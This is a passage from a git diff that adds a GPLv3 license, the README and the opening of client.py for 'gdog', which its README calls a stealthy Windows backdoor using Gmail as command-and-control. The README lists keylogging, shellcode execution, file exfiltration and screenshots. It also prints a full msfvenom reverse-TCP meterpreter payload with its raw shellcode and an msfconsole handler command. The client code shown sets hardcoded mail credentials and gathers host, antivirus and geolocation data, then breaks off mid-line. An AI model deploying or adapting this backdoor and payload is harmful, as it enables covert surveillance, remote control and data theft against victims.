legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/gdog/README.md b/gdog/README.md new file mode 100644 index 0000000..ff825d4 --- /dev/null +++ b/gdog/README.md @@ -0,0 +1,164 @@ +Gdog +==== +A stealthy Python based Windows backdoor that uses Gmail as a command and control server + +This project was inspired by the gcat(https://github.com/byt3bl33d3r/gcat) from byt3bl33d3r. + + +Requirements +===== +* Python 2.x +* PyCrypto module +* WMI module +* Enum34 module +* Netifaces module + + +Features +===== +* Encrypted transportation messages (AES) + SHA256 hashing +* Generate computer unique id using system information/characteristics (SHA256 hash) +* Job IDs are random SHA256 hashes +* Retrieve system information +* Retrieve Geolocation information (City, Country, lat, long, etc..) +* Retrieve running processes/system services/system users/devices (hardware) +* Retrieve list of clients +* Execute system command +* Download files from client +* Upload files to client +* Execute shellcode +* Take screenshot +* Lock client's screen +* Keylogger +* Lock remote computer's screen +* Shutdown/Restart remote computer +* Log off current user +* Download file from the WEB +* Visit website +* Show message box to user +* Ability to change check-in time +* Ability to add jitter to check-in time to reduce predictability + + +Setup +===== +For this to work you need: +- A Gmail account (**Use a dedicated account! Do not use your personal one!**) +- Turn on "Allow less secure apps" under the security settings of the account. +- You may also have to enable IMAP in the account settings. + + +Download/Installation +==== +* https://sourceforge.net/projects/pywin32 +* git clone https://github.com/maldevel/gdog +* pip install -r requirements.txt --user + + +Contents +===== +- ```gdog.py``` a script that's used to enumerate and issue commands to available clients +- ```client.py``` the actual backdoor to deploy + +You're probably going to want to compile ```client.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller) + +**Note: It's recommended you compile client.py using a 32bit Python installation** + + +Usage +===== +``` + __ + ____ _____/ /___ ____ _ + / __ `/ __ / __ \/ __ `/ + / /_/ / /_/ / /_/ / /_/ / + \__, /\__,_/\____/\__, / + /____/ /____/ + +optional arguments: + -h, --help show this help message and exit + -v, --version show program's version number and exit + -id ID Client to target + -jobid JOBID Job id to retrieve + + -list List available clients + -info Retrieve info on specified client + +Commands: + Commands to execute on an implant + + -cmd CMD Execute a system command + -visitwebsite URL Visit website + -message TEXT TITLE Show message to user + -tasks Retrieve running processes + -services Retrieve system services + -users Retrieve system users + -devices Retrieve devices(Hardware) + -download PATH Download a file from a clients system + -download-fromurl URL + Download a file from the web + -upload SRC DST Upload a file to the clients system + -exec-shellcode FILE Execute supplied shellcode on a client + -screenshot Take a screenshot + -lock-screen Lock the clients screen + -shutdown Shutdown remote computer + -restart Restart remote computer + -logoff Log off current remote user + -force-checkin Force a check in + -start-keylogger Start keylogger + -stop-keylogger Stop keylogger + -email-checkin seconds Seconds to wait before checking for new commands + -jitter percentage Percentage of Jitter +``` + + +Shellcode Exec +===== + +``` +$ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=172.16.153.1 -f python + +No encoder or badchars specified, outputting raw payload +Payload size: 354 bytes +buf = "" +buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" +buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0\xb7" +buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" +buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" +buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" +buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" +buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" +buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" +buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" +buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" +buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" +buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" +buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" +buf += "\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11" +buf += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" +buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" +buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" +buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" +buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a" +buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" +buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" +buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40" +buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57" +buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9" +buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0" +buf += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00" +buf += "\x53\xff\xd5" +``` + +Get rid of everything except for the shellcode and stick it in a file: + +``` +$ cat shell.txt +\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5 +``` +run the console + +``` + ./msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.153.1; run" + ``` diff --git a/gdog/client.py b/gdog/client.py new file mode 100644 index 0000000..6ae9691 --- /dev/null +++ b/gdog/client.py @@ -0,0 +1,1121 @@ +""" + This file is part of gdog + Copyright (C) 2016 @maldevel + https://github.com/maldevel/gdog + + gdog - A fully featured backdoor that uses Gmail as a C&C server + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + For more see the file 'LICENSE' for copying permission. +""" + +__author__ = "maldevel" +__copyright__ = "Copyright (c) 2016 @maldevel" +__credits__ = ["maldevel", "carnal0wnage", "byt3bl33d3r", "haydnjohnson"] +__license__ = "GPLv3" +__version__ = "1.2" +__maintainer__ = "maldevel" + + +##################### +import subprocess +import os +import base64 +import threading +import time +import random +import string +import imaplib +import email +import platform +import hashlib +import ctypes +import json +import wmi +import getpass +import uuid +import netifaces +import urllib2 +import urllib +import pythoncom +import random + +from win32com.client import GetObject +from enum import Enum +from base64 import b64decode +from smtplib import SMTP +from email.MIMEMultipart import MIMEMultipart +from email.MIMEBase import MIMEBase +from email.MIMEText import MIMEText +from email import Encoders +from struct import pack +from zlib import compress, crc32 +from ctypes import c_void_p, c_int, create_string_buffer, sizeof, windll, Structure, WINFUNCTYPE, CFUNCTYPE, POINTER +from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD, MSG +from Crypto.Cipher import AES +from Crypto import Random +###################################################### + + +####################################### +gmail_user = 'gdog.mail.account@gmail.com' +gmail_pwd = '!y0ur_p@ssw0rd!' +server = "smtp.gmail.com" +server_port = 587 +AESKey = 'my_AES_key' +EMAIL_KNOCK_TIMEOUT = 60 # seconds - check for new commands/jobs every EMAIL_KNOCK_TIMEOUT seconds +JITTER = 100 +TAG = 'RELEASE' +VERSION = '1.0.0' +####################################### + + +class InfoSecurity: + + def __init__(self): + self.bs = 32 + self.key = hashlib.sha256(AESKey.encode()).digest() + + def Encrypt(self, plainText): + raw = self._pad(plainText) + iv = Random.new().read(AES.block_size) + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return base64.b64encode(iv + cipher.encrypt(raw)) + + def Decrypt(self, cipherText): + enc = base64.b64decode(cipherText) + iv = enc[:AES.block_size] + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') + + def _pad(self, s): + return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) + + def _unpad(self, s): + return s[:-ord(s[len(s)-1:])] + +infoSec = InfoSecurity() + + +class AccountType(Enum): + DUPLICATE_ACCOUNT = 256 + NORMAL_ACCOUNT = 512 + INTERDOMAIN_TRUST_ACCOUNT = 2048 + WORKSTATION_TRUST_ACCOUNT = 4096 + SERVER_TRUST_ACCOUNT = 8192 + +class ChassisTypes(Enum): + Other = 1 + Unknown = 2 + Desktop = 3 + LowProfileDesktop = 4 + PizzaBox = 5 + MiniTower = 6 + Tower = 7 + Portable = 8 + Laptop = 9 + Notebook = 10 + Handheld = 11 + DockingStation = 12 + AllInOne = 13 + SubNotebook = 14 + SpaceSaving = 15 + LunchBox = 16 + MainSystemChassis = 17 + ExpansionChassis = 18 + SubChassis = 19 + BusExpansionChassis = 20 + PeripheralChassis = 21 + StorageChassis = 22 + RackMountChassis = 23 + SealedCasePC = 24 + +def getGeolocation(): + try: + req = urllib2.Request('http://ip-api.com/json/', data=None, headers={ + 'User-Agent':'Gdog' + }) + response = urllib2.urlopen(req) + if response.code == 200: + encoding = response.headers.getparam('charset') + return json.loads(response.read().decode(encoding)) + return False + except Exception: + return False + + +class SystemInfo: + def __init__(self): + self.Architecture = platform.machine() + self.WinVer = platform.platform() + self.CPU = platform.processor() + self.User = getpass.getuser() + self.PCName = platform.node() + self.isAdmin = ctypes.windll.shell32.IsUserAnAdmin() + if self.isAdmin == 0: + self.isAdmin = 'no' + else: + self.isAdmin = 'yes' + w = wmi.WMI() + self.GPU = [] + for i in w.Win32_VideoController(): + self.GPU.append(i.Caption.strip()) + self.Motherboard = '' + for i in w.Win32_BaseBoard(): + self.Motherboard = '{0} {1} {2}'.format(i.Manufacturer, i.Product, i.SerialNumber).strip() + break + self.ChassisType = '' + for i in w.Win32_SystemEnclosure(): + for j in i.ChassisTypes: + self.ChassisType = str(ChassisTypes(j)).split('.')[1] + break + break + self.TotalRam = 0.0 + for i in w.Win32_ComputerSystem(): + self.TotalRam = (round(float(i.TotalPhysicalMemory) / 1024 / 1024 / 1024)) + break + self.Bios = '' + for i in w.Win32_BIOS(): + self.Bios = '{0} {1} {2}'.format(i.Caption, i.Manufacturer, i.SerialNumber).strip() + break + self.PID = os.getpid() + self.MAC = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) + self.IPv4 = '' + for iface in netifaces.interfaces(): + if netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr'] == self.MAC: + self.IPv4 = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])[0]['addr'] + self.Antivirus = [] + objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('AntiVirusProduct') + for i in objWMI: + self.Antivirus.append(i.displayName.strip()) + self.Firewall = [] + objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('FirewallProduct') + for i in objWMI: + self.Firewall.append(i.displayName.strip()) + self.Antispyware = [] + objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('AntiSpywareProduct') + for i in objWMI: + self.Antispyware.append(i.displayName.strip()) + self.Geolocation = getGeolocation() + + + self.UniqueID = hashlib.sha256( + self.Architecture + + self.WinVer + + self.CPU + + 